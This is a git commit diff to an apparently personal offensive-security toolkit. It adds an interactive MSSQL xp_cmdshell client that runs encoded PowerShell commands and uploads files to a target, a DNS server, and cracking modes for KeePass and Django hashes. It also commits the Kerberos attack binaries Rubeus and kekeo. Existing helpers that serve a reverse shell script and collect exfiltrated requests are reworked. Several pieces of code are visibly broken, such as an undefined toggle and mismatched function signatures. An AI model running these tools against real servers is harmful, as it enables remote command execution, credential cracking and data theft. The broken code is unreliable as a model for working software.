Update
This commit is contained in:
parent
b034e9c800
commit
78e5fd16d9
@ -2,7 +2,7 @@ import os
|
||||
import sys
|
||||
|
||||
__doc__ = __doc__ or ""
|
||||
__all__ = ["util","fileserver","xss_handler","genRevShell"]
|
||||
__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"]
|
||||
|
||||
inc_dir = os.path.dirname(os.path.realpath(__file__))
|
||||
sys.path.append(inc_dir)
|
||||
|
@ -61,6 +61,7 @@ class HashType(enum.Enum):
|
||||
# python
|
||||
PYTHON_PBKDF2_SHA256 = 20300
|
||||
PYTHON_PBKDF2_SHA512 = 20200
|
||||
DJANGO_PBKDF2_SHA256 = 10000
|
||||
|
||||
# Windows
|
||||
LM = 3000
|
||||
@ -73,6 +74,9 @@ class HashType(enum.Enum):
|
||||
KERBEROS_TGS_REP = 13100
|
||||
KERBEROS_AS_REP = 18200
|
||||
|
||||
# Keepass
|
||||
KEEPASS = 13400
|
||||
|
||||
class Hash:
|
||||
|
||||
def __init__(self, hash):
|
||||
@ -114,6 +118,10 @@ class Hash:
|
||||
self.type.append(HashType.PYTHON_PBKDF2_SHA256)
|
||||
elif crypt_type == "pbkdf2-sha512":
|
||||
self.type.append(HashType.PYTHON_PBKDF2_SHA512)
|
||||
elif crypt_type == "keepass":
|
||||
self.type.append(HashType.KEEPASS)
|
||||
elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
|
||||
self.type.append(HashType.DJANGO_PBKDF2_SHA256)
|
||||
else:
|
||||
if ":" in raw_hash:
|
||||
parts = raw_hash.split(":")
|
||||
|
142
dnsserver.py
Normal file
142
dnsserver.py
Normal file
@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python
|
||||
# coding=utf-8
|
||||
|
||||
import argparse
|
||||
import datetime
|
||||
import sys
|
||||
import time
|
||||
import threading
|
||||
import traceback
|
||||
import socketserver
|
||||
import struct
|
||||
|
||||
try:
|
||||
from dnslib import *
|
||||
except ImportError:
|
||||
print("Missing dependency dnslib: <https://pypi.python.org/pypi/dnslib>. Please install it with `pip`.")
|
||||
sys.exit(2)
|
||||
|
||||
|
||||
class DnsServer:
|
||||
|
||||
class BaseRequestHandler(socketserver.BaseRequestHandler):
|
||||
|
||||
def get_data(self):
|
||||
raise NotImplementedError
|
||||
|
||||
def send_data(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
def handle(self):
|
||||
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
|
||||
try:
|
||||
data = self.get_data()
|
||||
self.send_data(self.server.server.dns_response(data))
|
||||
except Exception:
|
||||
traceback.print_exc(file=sys.stderr)
|
||||
|
||||
class TCPReqImpl(BaseRequestHandler):
|
||||
|
||||
def get_data(self):
|
||||
data = self.request.recv(8192).strip()
|
||||
sz = struct.unpack('>H', data[:2])[0]
|
||||
if sz < len(data) - 2:
|
||||
raise Exception("Wrong size of TCP packet")
|
||||
elif sz > len(data) - 2:
|
||||
raise Exception("Too big TCP packet")
|
||||
return data[2:]
|
||||
|
||||
def send_data(self, data):
|
||||
sz = struct.pack('>H', len(data))
|
||||
return self.request.sendall(sz + data)
|
||||
|
||||
class UDPReqImpl(BaseRequestHandler):
|
||||
|
||||
def get_data(self):
|
||||
return self.request[0].strip()
|
||||
|
||||
def send_data(self, data):
|
||||
return self.request[1].sendto(data, self.client_address)
|
||||
|
||||
class UDPImpl(socketserver.ThreadingUDPServer):
|
||||
|
||||
def __init__(self, server):
|
||||
super().__init__((server.bind_addr, server.listen_port), DnsServer.UDPReqImpl)
|
||||
self.server = server
|
||||
|
||||
class TCPImpl(socketserver.ThreadingTCPServer):
|
||||
|
||||
def __init__(self, server):
|
||||
super().__init__((server.bind_addr, server.listen_port), DnsServer.TCPReqImpl)
|
||||
self.server = server
|
||||
|
||||
def __init__(self, addr, port=53):
|
||||
self.bind_addr = addr
|
||||
self.listen_port = port
|
||||
self.sockets = []
|
||||
self.threads = []
|
||||
self.sockets.append(DnsServer.UDPImpl(self))
|
||||
self.sockets.append(DnsServer.TCPImpl(self))
|
||||
self.entries = { "A": {}, "AAAA": {}, "MX": {}, "TXT": {}, "NS": {} }
|
||||
self.debug = False
|
||||
self.ttl = 60 * 5
|
||||
self.logging = False
|
||||
|
||||
def addEntry(self, type, domain, value):
|
||||
if type not in self.entries:
|
||||
print("Invalid type, must be one of:", self.entries.keys())
|
||||
return False
|
||||
|
||||
if not domain.endswith("."):
|
||||
domain += "."
|
||||
|
||||
if type in ["A","MX","NS"]:
|
||||
value = A(value)
|
||||
elif type in ["AAAA"]:
|
||||
value = AAAA(value)
|
||||
elif type in ["TXT"]:
|
||||
value = CNAME(value)
|
||||
|
||||
if self.debug:
|
||||
print(f"Added entry: {type} {domain} => {value}")
|
||||
|
||||
self.entries[type][domain] = value
|
||||
return True
|
||||
|
||||
def startBackground(self):
|
||||
for socket in self.sockets:
|
||||
t = threading.Thread(target=socket.serve_forever)
|
||||
t.start()
|
||||
self.threads.append(t)
|
||||
|
||||
def start(self):
|
||||
self.startBackground()
|
||||
map(lambda t: t.join(), self.threads)
|
||||
|
||||
def stop(self):
|
||||
map(lambda s: s.shutdown(), self.sockets)
|
||||
map(lambda t: t.join(), self.threads)
|
||||
|
||||
def dns_response(self, data):
|
||||
request = DNSRecord.parse(data)
|
||||
|
||||
if self.debug:
|
||||
print("DNS REQUEST:", request)
|
||||
|
||||
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
|
||||
qname = request.q.qname
|
||||
qn = str(qname)
|
||||
qtype = request.q.qtype
|
||||
qt = QTYPE[qtype]
|
||||
|
||||
if qt in self.entries and qn in self.entries[qt]:
|
||||
entry = self.entries[qt][qn]
|
||||
rqt = entry.__class__.__name__
|
||||
reply.add_answer(RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=self.ttl, rdata=entry))
|
||||
if self.logging:
|
||||
print(f"Request: {qt} {qn} -> {entry}")
|
||||
|
||||
if self.debug:
|
||||
print("DNS RESPONSE:", reply)
|
||||
|
||||
return reply.pack()
|
@ -40,6 +40,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
if contentLength and int(contentLength) > 0:
|
||||
data = self.rfile.read(int(contentLength))
|
||||
|
||||
if "Host" in self.headers:
|
||||
del self.headers["Host"]
|
||||
|
||||
method = self.command
|
||||
print(target, "=>", method, target_rewrite)
|
||||
res = requests.request(method, target_rewrite, headers=self.headers, data=data)
|
||||
@ -65,6 +68,11 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
def do_GET(self):
|
||||
|
||||
if not self.server.is_running:
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
return
|
||||
|
||||
path = self.server.cleanPath(self.path)
|
||||
route = self.find_route(path)
|
||||
result = route(self)
|
||||
@ -74,6 +82,9 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
data = b"" if len(result) < 2 else result[1]
|
||||
headers = { } if len(result) < 3 else result[2]
|
||||
|
||||
if len(headers) == 0:
|
||||
self.send_response(status_code)
|
||||
else:
|
||||
self.log_request(status_code)
|
||||
self.send_response_only(status_code)
|
||||
|
||||
@ -89,14 +100,14 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
if data and self.command.upper() not in ["HEAD","OPTIONS"]:
|
||||
self.wfile.write(data)
|
||||
|
||||
if path in self.server.dumpRequests:
|
||||
if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
|
||||
contentLength = self.headers.get('Content-Length')
|
||||
body = None
|
||||
|
||||
if contentLength and int(contentLength) > 0:
|
||||
body = self.rfile.read(int(contentLength))
|
||||
|
||||
print("==========")
|
||||
print("===== Connection from:",self.client_address[0])
|
||||
print("%s %s %s" % (self.command, self.path, self.request_version))
|
||||
print(str(self.headers).strip())
|
||||
if body:
|
||||
@ -127,11 +138,14 @@ class HttpFileServer(HTTPServer):
|
||||
|
||||
return path.strip()
|
||||
|
||||
def addFile(self, name, data):
|
||||
def addFile(self, name, data, mimeType=None):
|
||||
if isinstance(data, str):
|
||||
data = data.encode("UTF-8")
|
||||
|
||||
# return 200 - OK and data
|
||||
if mimeType:
|
||||
self.addRoute(name, lambda req: (200, data, { "Content-Type": mimeType }))
|
||||
else:
|
||||
self.addRoute(name, lambda req: (200, data))
|
||||
|
||||
def dumpRequest(self, name):
|
||||
@ -179,6 +193,8 @@ class HttpFileServer(HTTPServer):
|
||||
|
||||
def stop(self):
|
||||
self.is_running = False
|
||||
# dummy request
|
||||
requests.get(f"http://{self.server_name}:{self.server_port}/dummy")
|
||||
|
||||
def serve_forever(self):
|
||||
while self.is_running:
|
||||
@ -200,9 +216,8 @@ if __name__ == "__main__":
|
||||
fileServer.addFile("shell.sh", rev_shell)
|
||||
print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
|
||||
elif sys.argv[1] == "dump":
|
||||
fileServer.dumpRequest("/exfiltrate")
|
||||
fileServer.dumpRequest("/")
|
||||
print("Exfiltrate data using: http://%s/exfiltrate" % ipAddress)
|
||||
print("Exfiltrate data using: http://%s/" % ipAddress)
|
||||
elif sys.argv[1] == "proxy":
|
||||
url = "https://google.com" if len(sys.argv) < 3 else sys.argv[2]
|
||||
fileServer.forwardRequest("/proxy", url)
|
||||
|
@ -6,6 +6,8 @@ import pty
|
||||
import util
|
||||
import time
|
||||
import threading
|
||||
import readline
|
||||
|
||||
|
||||
def generatePayload(type, local_address, port):
|
||||
|
||||
|
@ -6,11 +6,4 @@ if [ $# -lt 1 ]; then
|
||||
fi
|
||||
|
||||
HOST=$1
|
||||
EXTENSIONS=""
|
||||
|
||||
if [ $# -gt 1 ]; then
|
||||
EXTENSIONS="-x ${2}"
|
||||
fi
|
||||
|
||||
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
|
||||
-k "${EXTENSIONS}" -b "403,404"
|
||||
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" -b "403,404" "${@:2}"
|
||||
|
@ -33,4 +33,4 @@ echo "[ ] Fuzzing…"
|
||||
|
||||
ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \
|
||||
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \
|
||||
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}"
|
||||
-u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}"
|
||||
|
BIN
win/Rubeus.exe
Normal file
BIN
win/Rubeus.exe
Normal file
Binary file not shown.
BIN
win/kekeo.exe
Normal file
BIN
win/kekeo.exe
Normal file
Binary file not shown.
163
xp_cmdshell.py
Normal file
163
xp_cmdshell.py
Normal file
@ -0,0 +1,163 @@
|
||||
# /usr/bin/env python3
|
||||
# interactive xp_cmdshell
|
||||
# with impacket and cmd
|
||||
# used https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py for reference
|
||||
import os, cmd, sys, re, base64
|
||||
from impacket import tds
|
||||
import readline
|
||||
|
||||
class XpShell(cmd.Cmd):
|
||||
|
||||
def __init__(self, SQLObj):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.sql = SQLObj
|
||||
self.prompt = 'xp_cmd> '
|
||||
self.file = None
|
||||
|
||||
def powershell_encode(self, data):
|
||||
return base64.b64encode(data.encode('UTF-16LE')).decode()
|
||||
|
||||
def powershell_encode_binary(self, data):
|
||||
return base64.b64encode(data).decode()
|
||||
|
||||
# interpret every line as system command
|
||||
def default(self, arg):
|
||||
try:
|
||||
|
||||
if pwsh:
|
||||
new_arg = 'powershell -encodedCommand {}'
|
||||
arg = new_arg.format(self.powershell_encode(arg))
|
||||
|
||||
self.execute_query(arg)
|
||||
|
||||
except ConnectionResetError as e:
|
||||
self.reconnect_mssql()
|
||||
self.execute_query(arg)
|
||||
except Exception as e:
|
||||
print('Exception: ')
|
||||
print(str(e))
|
||||
pass
|
||||
|
||||
# i wont say what it does
|
||||
def do_exit(self, arg):
|
||||
exit()
|
||||
|
||||
# ? yes
|
||||
def do_help(self, arg):
|
||||
print("""
|
||||
you found the help command
|
||||
|
||||
pwsh - Toggle powershell on/off
|
||||
upload <src> <dest> - upload a file
|
||||
exit - i wont say what it does
|
||||
""")
|
||||
|
||||
def do_upload(self, data, dest):
|
||||
writeme = bytearray() # contains bytes to be written
|
||||
|
||||
try:
|
||||
# create/overwrite the target file with powershell
|
||||
cmd = 'New-Item -Path {} -Force'.format(dest)
|
||||
cmd = self.powershell_encode(cmd)
|
||||
self.execute_query('powershell -encodedCommand {}'.format(cmd))
|
||||
except FileNotFoundError as e:
|
||||
print('File not found.')
|
||||
return
|
||||
except ConnectionResetError as e:
|
||||
self.reconnect_mssql()
|
||||
self.execute_query('powershell -encodedCommand {}'.format(cmd))
|
||||
except Exception as e:
|
||||
print('Exception: ')
|
||||
print(str(e))
|
||||
return
|
||||
|
||||
total_uploaded = 0 # uploaded bytes so far
|
||||
count = 0 # counter to run through byte array
|
||||
write_count = 2000 # write 2000 bytes with each command
|
||||
|
||||
# run through all bytes of the file which have been saved in data
|
||||
for b in data:
|
||||
writeme.append(b)
|
||||
# write 'write_count' bytes with each command
|
||||
if count != 0 and count % write_count == 0:
|
||||
self.write_bytes_to_file(writeme, dest)
|
||||
|
||||
writeme = bytearray()
|
||||
total_uploaded += write_count
|
||||
count = 0
|
||||
print('Uploaded {} of {} bytes'.format(total_uploaded,len(data)))
|
||||
count += 1
|
||||
|
||||
# if there are unwritten write them
|
||||
if count > 0:
|
||||
self.write_bytes_to_file(writeme, dest)
|
||||
|
||||
total_uploaded += count
|
||||
print('Uploaded {} of {} bytes'.format(total_uploaded, len(data)))
|
||||
|
||||
# executed when ConnectionResetError
|
||||
def reconnect_mssql(self):
|
||||
print('connection lost attempting to reconnect...')
|
||||
self.sql.disconnect()
|
||||
ms_sql, res = connect_mssql()
|
||||
if res is True:
|
||||
self.sql = ms_sql
|
||||
print('Success!')
|
||||
else:
|
||||
print('Could not re-establish connection. Exiting.')
|
||||
exit()
|
||||
|
||||
|
||||
# execute xp_cmdshell command
|
||||
def execute_query(self, arg):
|
||||
self.sql.sql_query("exec master..xp_cmdshell '{}'".format(arg))
|
||||
self.sql.printReplies()
|
||||
self.sql.colMeta[0]['TypeData'] = 80*1
|
||||
self.sql.printRows()
|
||||
|
||||
|
||||
# encodes bytes as base64 and writes them to a file via powershell
|
||||
def write_bytes_to_file(self, data, target):
|
||||
data = self.powershell_encode_binary(data)
|
||||
|
||||
# cmd to append bytes to file
|
||||
cmd = "powershell -command \"Add-Content -value ([Convert]::FromBase64String(\'{}\')) -encoding byte -path \'{}\'\"".format(data, target)
|
||||
cmd = self.powershell_encode(cmd)
|
||||
|
||||
# execute file write
|
||||
try:
|
||||
self.execute_query('powershell -encodedCommand {}'.format(cmd))
|
||||
except ConnectionResetError as e:
|
||||
self.reconnect_mssql()
|
||||
|
||||
def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
|
||||
# do database connection (simple for now)
|
||||
try:
|
||||
ms_sql = tds.MSSQL(ip, port)
|
||||
ms_sql.connect()
|
||||
res = ms_sql.login(database = None, username=username, password=password, domain=domain)
|
||||
ms_sql.printReplies()
|
||||
if res:
|
||||
return XpShell(ms_sql)
|
||||
else:
|
||||
return res
|
||||
|
||||
except Exception as e:
|
||||
print('Exception: ')
|
||||
print(str(e))
|
||||
return False
|
||||
|
||||
# if __name__ == '__main__':
|
||||
# # pass commands directly into powershell
|
||||
# # ./xp_cmdshell.py -powershell
|
||||
# if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
|
||||
# pwsh = True
|
||||
#
|
||||
# # if connection successful
|
||||
# ms_sql, res = connect_mssql()
|
||||
# if res is True:
|
||||
# shell = XpShell(ms_sql)
|
||||
# shell.cmdloop()
|
||||
#
|
||||
# # close ms_sql
|
||||
# ms_sql.disconnect()
|
Loading…
Reference in New Issue
Block a user